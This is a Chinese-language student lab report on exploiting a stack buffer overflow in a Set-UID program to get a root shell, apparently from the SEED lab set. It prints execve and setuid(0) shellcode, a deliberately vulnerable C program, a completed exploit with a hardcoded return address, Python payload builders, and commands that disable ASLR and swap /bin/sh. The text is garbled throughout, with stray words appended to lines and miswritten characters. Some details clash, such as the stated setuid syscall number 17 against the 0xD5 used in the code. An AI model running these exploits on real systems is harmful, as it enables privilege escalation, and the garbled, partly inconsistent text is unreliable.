緩衝區溢出漏洞

實驗目的

本次實驗的目的是讓學生得到關於緩衝區溢出漏洞實際動手的能力,把所學到的關於此類漏洞的知識轉化爲行動。緩衝區溢出是指在一個程序試圖超出預分配的固定長度的緩衝區寫入數據的條件。惡意用戶能夠利用此漏洞的程序改變執行流程,甚至執行任意的代碼。此漏洞由存儲的數據(例如,緩衝區)和存儲的控制(例如,返回地址)共同引發的:一個溢出的數據部分中,可能會影響該程序的控制流程的混合而產生的。由於能夠改變程序返回地址溢出。python

實驗內容shell

在本實驗中,將給定學生一個有緩衝區溢出漏洞的程序。學生利用該漏洞,並最終得到root權限。另外,將引導學生了解已在Fedora中實現的多種保護方案對緩衝區溢出攻擊防護。學生須要回答該方案是否有效,並解釋爲何。數組

實驗步驟

3.1 初始設置

實驗指導手冊上實驗環境是Fedora Linux。咱們使用的是預先配置好的Ubuntu 9.04 LTS版本。兩者區別不大:Ubuntu不須要關閉不可執行棧保護,而Fedora是須要的。sass

Fedroa裏有三種機制使得緩衝區溢出攻擊變得困難。在Ubuntu中有兩種保護機制。咱們須要先關閉掉這些保護。安全

關閉地址隨機機制和執行屏蔽:bash

首先,Fedroa使用執行屏蔽使得堆棧不被執行,所以,即便咱們可以在堆棧裏插入一個shellcode,它也不能運行。第二,Fedra和Ubuntu使用地址空間隨機機制使得開始地址的堆和棧隨機,這使得猜想確切地址有了難度,而猜想地址是緩衝區溢出攻擊的一個重要步驟。爲了教學的目的,本實驗中,咱們使用下面的命令禁用了這些功能:app

$ su rootdom

Password: (enter root password)函數

#sysctl -w kernel.randomize_va_space=0post

#sysctl -w kernel.exec-sheild=0

執行結果如圖1。咱們的環境是Ubuntu,在Ubuntu中默認是沒有之心屏蔽的。因此,咱們的執行屏蔽失敗了。會出現提示「error: 「kernel.exec-shield」 is an unknown key」。

wps_clip_image-11030

圖1 關閉地址隨機化

使用zsh代替bash:

此外,爲了進一步防範緩衝區溢出攻擊及其它利用shell程序的攻擊,許多shell程序在被調用時自動放棄它們的特權。所以,即便你能欺騙一個Set-UID程序調用一個shell,也不能在這個shell中保持權限。這個防禦措施在/bin/bash中實現。在Ubuntu中,/bin/sh實際是指向/bin/bash的一個符號連接。爲了重現這一防禦措施實現以前的情形,咱們使用另外一個shell程序zsh代替/bin/bash。下面的指令描述瞭如何設置zsh程序:

# cd /bin

# rm sh

# ln -s /bin/zsh /bin/sh

執行結果如圖2:

wps_clip_image-2980

圖2 使用符號連接使得sh連接到zsh

到這裏,本次實驗環境就配置好了。

3.2 Shellcode

在開始攻擊以前,咱們須要一個Shellcode,Shellcode是登錄到shell的一段代碼。它必須被載入內存,那樣咱們才能強迫程序跳轉到它。考慮如下程序:

#include <stdio.h>

int main( )

{

char *name[2];

   name[0] = "/bin/sh";

   name[1] = 0;

   execve(name[0], name, 0);

}

咱們使用的shellcode是上述程序的彙編版。下面的程序顯示瞭如何經過利用shell code任意重寫一個緩衝區登陸shell,請編譯運行一下代碼,看shell是否被調用。

/* call_shellcode.c  */

/*A program that creates a file containing code for launching shell*/

#include <stdlib.h>

#include <stdio.h>

const char code[] =

"\x31\xc0"     /* Line 1:  xorl    %eax,%eax              */

"\x50"         /* Line 2:  pushl   %eax                   */

"\x68""//sh"   /* Line 3:  pushl   $0x68732f2f            */

"\x68""/bin"   /* Line 4:  pushl   $0x6e69622f            */

"\x89\xe3"     /* Line 5:  movl    %esp,%ebx              */

"\x50"         /* Line 6:  pushl   %eax                   */

"\x53"         /* Line 7:  pushl   %ebx                   */

"\x89\xe1"     /* Line 8:  movl    %esp,%ecx              */

"\x99"         /* Line 9:  cdql                           */

"\xb0\x0b"     /* Line 10: movb    $0x0b,%al              */

"\xcd\x80"     /* Line 11: int     $0x80                  */

;

int main(int argc, char **argv)

{

char buf[sizeof(code)];

   strcpy(buf, code);

((void(*)( ))buf)( );

}

wps_clip_image-17724

圖5 編譯運行call_shellcode.c

在運行以前調用ps -A || grep pid命令能夠看到,咱們運行的是bash。在運行call_shellcode以後,ps -A || grep pid命令看出當前運行的shell變成了zsh了。

上面的代碼使用字符數組將一段二進制程序存儲到棧裏。而後使用強制類型轉換,告訴系統這段代碼是一個函數調用。讓操做系統去調用。由於關閉了執行屏蔽,因此係統會忠實的執行命令。

這段shellcode的一些地方值得注意。首先,第三行將「//sh」而不是「/sh」推入棧,這是由於咱們在這裏須要一個32位的數字,而「/sh」只有24位。幸運的是,「//」和「/」等價,因此咱們使用「//」對程序也沒什麼影響,並且起到補位做用。第二,在調用execve() 以前,咱們須要分別存儲name[0](串地址),name(列地址)和NULL至%ebx、%ecx和%edx寄存器。第5 行將name[0]存儲到%ebx;第8行將name存儲到%ecx;第9行將%edx設爲0;還有其它方法能夠設%edx爲0(如xorl %edx, %edx)。這裏用的(cdql)指令只是較爲簡短。第三,當咱們將%al設爲11時調用了system call execve(),並執行了「int $0x80」。

3.3 有漏洞的程序

下面是一個有漏洞的程序。編譯下面的程序,而且在root下把它設置爲Set-UID程序。

/* stack.c */

/* This program has a buffer overflow vulnerability. */

/* Our task is to exploit this vulnerability */

#include <stdlib.h>

#include <stdio.h>

#include <string.h>

int bof(char *str)

{

char buffer[12];

/* The following statement has a buffer overflow problem */

    strcpy(buffer, str);

return 1;

}

int main(int argc, char **argv)

{

char str[517];

    FILE *badfile;

    badfile = fopen("badfile", "r");

    fread(str, sizeof(char), 517, badfile);

    bof(str);

    printf("Returned Properly\n");

return 1;

}

使用命令編譯程序,而且設置爲Set-UID程序:

wps_clip_image-24070

圖6 編譯stack.c並設置Set-UID

上面的程序中有一個緩衝區溢出漏洞。它首先從文件「BADFILE」讀取輸入。而後在bof()函數中,將字符數組拷貝到另外一個緩衝區中。輸入可最大長度能夠爲517個字節,但bof()函數中的的緩衝區只有12字節。因爲strcpy()函數不檢查邊界,會發生緩衝區溢出。因爲這個程序是Set-UID程序,若是一個普通用戶能夠利用這個緩衝區溢出漏洞,普通的用戶可能會獲得一個root shell。該程序的輸入是文件「BADFILE」,這個文件是由普通用戶控制的。如今,咱們的目標是構造「BADFILE」的內容。這樣當有漏洞的程序的內容複製到緩衝區中,能夠產生一個root shell。

3.4 任務1:攻擊漏洞

實驗指導提供了一段部分完成的攻擊代碼「exploit.c」,這段代碼的目的是爲 「badfile」 建立內容。代碼中,shell code已經給出,咱們須要完成其他部分。

/* exploit.c  */

/* A program that creates a file containing code for launching shell*/

#include <stdlib.h>

#include <stdio.h>

#include <string.h>

char shellcode[]=

"\x31\xc0"   /* xorl    %eax,%eax              */

"\x50"       /* pushl   %eax                   */

"\x68""//sh" /* pushl   $0x68732f2f            */

"\x68""/bin" /* pushl   $0x6e69622f            */

"\x89\xe3"   /* movl    %esp,%ebx              */

"\x50"       /* pushl   %eax                   */

"\x53"       /* pushl   %ebx                   */

"\x89\xe1"   /* movl    %esp,%ecx              */

"\x99"       /* cdql                           */

"\xb0\x0b"   /* movb    $0x0b,%al              */

"\xcd\x80"   /* int     $0x80                  */

;

void main(int argc, char **argv)

{

char buffer[517];

    FILE *badfile;

/* Initialize buffer with 0x90 (NOP instruction) */

    memset(&buffer, 0x90, 517);

/* You need to fill the buffer with appropriate contents here */

/* Save the contents to the file "badfile" */

    badfile = fopen("./badfile", "w");

    fwrite(buffer, 517, 1, badfile);

    fclose(badfile);

}

完成以上程序後編譯並運行,它將爲「badfile」生成內容。而後運行漏洞程序棧,若是你的攻擊正確實現,你將獲得一個root shell。

原理:stack中的bof函數執行strcpy(buffer,str),將字符串

\x90\x90\x90......\address1\address2\address3\address4\

放入buffer中,因爲buffer只有12字節,溢出後\address1\address2\address3\address4\覆蓋了返回地址,當bof執行完後返回到str的str[100]處,執行shellcode。因此在str[0]開始處放入字符串:

\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\address1\address2\address3\address4\0在str[100]開始處放入shellcode。address[1]是str[100]地址的低字節,address[2]是str[100]地址的次低字節,依次類推。而後將惡意代碼寫入到str中,ret恰好指向惡意的shellcode,而且執行。

執行命令 objdump -d stack找到字符數組的首地址。

反彙編後,0x080484a1 <main+14>: sub    $0x224,%esp 這句是爲str分配空間的。在他的下一句處設置斷點。

wps_clip_image-9900

圖7 查找字符串的首地址

設置斷點b *0x080484a7,而後運行程序,在斷點處查看esp中的內容。就是str的首地址。

wps_clip_image-17646

圖8 查找字符串的首地址

找到首地址,爲0xbffff300,加上一百是0xbffff364。就獲得str[100]的地址了。咱們將shellcode寫入到100更高的地址。這樣程序執行是會從100開始執行NOP而後一直到shellcode,執行shellcode。

/* exploit.c  */

/* A program that creates a file containing code for launching shell*/

#include <stdlib.h>

#include <stdio.h>

#include <string.h>

char shellcode[]=

"\x31\xc0"   /* xorl    %eax,%eax              */

"\x50"       /* pushl   %eax                   */

"\x68""//sh" /* pushl   $0x68732f2f            */

"\x68""/bin" /* pushl   $0x6e69622f            */

"\x89\xe3"   /* movl    %esp,%ebx              */

"\x50"       /* pushl   %eax                   */

"\x53"       /* pushl   %ebx                   */

"\x89\xe1"   /* movl    %esp,%ecx              */

"\x99"      /* cdql                           */

"\xb0\x0b"   /* movb    $0x0b,%al              */

"\xcd\x80"   /* int     $0x80                  */

;

void main(int argc, char **argv)

{

    char buffer[517];

    FILE *badfile;

    char *p = NULL;

    int i = 0;

    /* Initialize buffer with 0x90 (NOP instruction) */

    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */

    memcpy(buffer+16, "\x64\xf3\xff\xbf", 4);

    memcpy(buffer+120, shellcode, strlen(shellcode));

    /* Save the contents to the file "badfile" */

    badfile = fopen("./badfile", "w");

    fwrite(buffer, 517, 1, badfile);

    fclose(badfile);

}

攻擊結果如圖9:

wps_clip_image-17023

圖9 攻擊stack成功

在實驗中作這一步的時候,遇到了一個問題:buffer首地址和ret地址理論上是相聚16個字節,可是在實際中發現兩者不是僅僅挨着的。好比有時候會相距24字節,因此我用python寫了個腳本,進行攻擊嘗試。腳本和exploit.c惟一的好處在於,每次修改以後不須要從新編譯,直接就能運行。腳本代碼以下:

#!user/bin/env python

#-*- coding:utf-8 -*-

import subprocess

shell_code = (

"\x31\xc0",   # xorl    %eax,%eax

"\x50",       # pushl   %eax                 

"\x68""//sh", # pushl   $0x68732f2f           

"\x68""/bin", # pushl   $0x6e69622f           

"\x89\xe3",   # movl    %esp,%ebx             

"\x50",       # pushl   %eax                  

"\x53",       # pushl   %ebx                  

"\x89\xe1",   # movl    %esp,%ecx             

"\x99",       # cdql                          

"\xb0\x0b",   # movb    $0x0b,%al             

"\xcd\x80")   # int     $0x80                 

def exploit(pos):

    # open the badfile

    fd = open('badfile', 'wb')

    size = 0

    # overflow buffer to ret

    fd.write(pos * '\x90')

    size += pos

    # modify the return address

    ret_addr = '\x64\xf3\xff\xbf'

    fd.write(ret_addr)

    size += len(ret_addr)

    # padding to the 480 postion

    fd.write('\x90' * (120 - size))

    size = 120

    # write the shell code to stack

    for s in shell_code:

        fd.write(s)

        size += len(s)

    # padding to 517 bytes

    fd.write('\x90' * (517 - size))

    # OK

    fd.close();

if __name__ == '__main__':

    exploit(16)

等到嘗試出來buffer和ret地址之間的距離時,再用exploit.c進行攻擊。

3.5 任務2:/bin/bash中的保護

如今,咱們讓/bin/sh 指回到/bin/bash ,而後進行和以前任務中一樣的攻擊。還能獲得shell嗎?這個shell 是root shell 嗎?發生了什麼?在實驗報告中描述你觀察到的現象並解釋。

wps_clip_image-2158

圖10 修改sh連接到bash

攻擊發現雖然能夠獲得shell,可是這個shell已經不是rootshell了:

wps_clip_image-285

圖10 對bash攻擊失敗

下面的彙編代碼是調用setuid的彙編代碼,setuid的系統調用號是17,編寫彙編代碼以下:

    .text

    .globl main

main:

    xorl    %eax,%eax

    movb    $0xD5,%al

    xorl    %ebx,%ebx

    int     $0x80

    leave

    ret

使用命令 gcc -c exploit2.s 編譯,而後使用objdump -d exploit2.o查看編譯後的結果:

isassembly of section .text:

00000000 <main>:

   0: 31 c0                 xor    %eax,%eax

   2: b0 d5                 mov    $0xd5,%al

   4: 31 db                 xor    %ebx,%ebx

   6: cd 80                 int    $0x80

   8: c9                    leave 

   9: c3                    ret   

將其簽名的四句拷貝到攻擊代碼的彙編代碼的簽名,獲得下面的代碼:

#!user/bin/env python

#-*- coding:utf-8 -*-

import subprocess

shell_code = (

"\x31\xc0", # xor    %eax,%eax

"\xb0\xd5", # mov    $0xd5,%al

"\x31\xdb", # xor    %ebx,%ebx

"\xcd\x80", # int    $0x80

"\x31\xc0", # xorl    %eax,%eax

"\x50", # pushl   %eax                 

"\x68""//sh", # pushl   $0x68732f2f           

"\x68""/bin", # pushl   $0x6e69622f           

"\x89\xe3", # movl    %esp,%ebx             

"\x50", # pushl   %eax                  

"\x53", # pushl   %ebx                  

"\x89\xe1", # movl    %esp,%ecx             

"\x99", # cdql                          

"\xb0\x0b", # movb    $0x0b,%al             

"\xcd\x80",) # int     $0x80     

def exploit(pos):

    # open the badfile

    fd = open('badfile', 'wb')

    size = 0

    # overflow buffer to ret

    fd.write(pos * '\x90')

    size += pos

    # modify the return address

    ret_addr = '\x64\xf3\xff\xbf'

    fd.write(ret_addr)

    size += len(ret_addr)

    # padding to the 480 postion

    fd.write('\x90' * (120 - size))

    size = 120

    # write the shell code to stack

    for s in shell_code:

        fd.write(s)

        size += len(s)

    # padding to 517 bytes

       fd.write('\x90' * (517 - size))

       # OK

       fd.close();

if __name__ == '__main__':

    exploit(16)

如今進行攻擊,發現攻擊成功:

wps_clip_image-12024

圖11 攻擊成功

3.6 任務3 :地址隨機化

打開地址空間隨機化保護。發現攻擊不能生效了,可使用shell腳本進行攻擊:

wps_clip_image-27707

圖12 地址隨機化關閉攻擊失敗

能夠看到攻擊在重複屢次之後成功了。

3.7 關閉GCC編譯器的棧保護機制

目前爲止咱們都是關閉了GCC的棧保護機制,若是咱們打開了GCC的棧保護機制,即在編譯時不使用–fno-stack-protector,那麼重複上面的攻擊,咱們會發現攻擊失敗。會提示檢測出棧踐踏攻擊。

wps_clip_image-28365

圖13 棧保護機制

實驗總結

遇到的問題:

在任務1中構造exploit構造badfile攻擊stack程序時,發現覆蓋返回地址時老是不對。致使沒法攻擊成功。通過gdb調試時,發現返回地址填充的是0x90909090,跟預期的不對。後來通過反覆修改覆蓋返回地址的位置,從16 -> 20 -> 24時成功了。理論上,buffer首地址與返回地址是相差16個字節的,這樣的結果的話,應該能夠解釋爲gcc在編譯的時候在返回地址和局部變量之間還保留了一部份內存空間。

在任務5中,須要構造一個系統調用setuid,可是對彙編不是很是瞭解。不知道setuid的系統調用號,寫了一個簡單的setuid程序,而後用IDA調試跟蹤,查到調用號爲17。

學到的東西:

棧溢出攻擊的理論是上課是華保健老師仔細講結果的。原本覺得理論上已經弄懂了,結果在作實驗時發現遇到各類奇怪的錯誤。理論加上動手才能更加深入將所學習的東西進行掌握。同時,也發現本身的不足之處,作爲一個信息安全專業的學生卻對彙編不是很瞭解。所以打算找一本彙編的書通讀一下,不求精通,但至少看到彙編代碼不會以爲一頭霧水。本次實驗收穫不少,大部分都是細枝末節上的東西,在犯錯糾錯的過程當中一點一點的弄懂不少東西。以爲時間花的仍是值得的。原本是想寫一個python腳本能夠自動的構造攻擊文件進行測試攻擊是否成功,結果發現環境裏的python版本過低,本身懂的又太少,因此沒有成功。不過,用腳本進行攻擊比編譯-運行的過程快不少,以爲仍是很值得這麼作的。

相關文章
相關標籤/搜索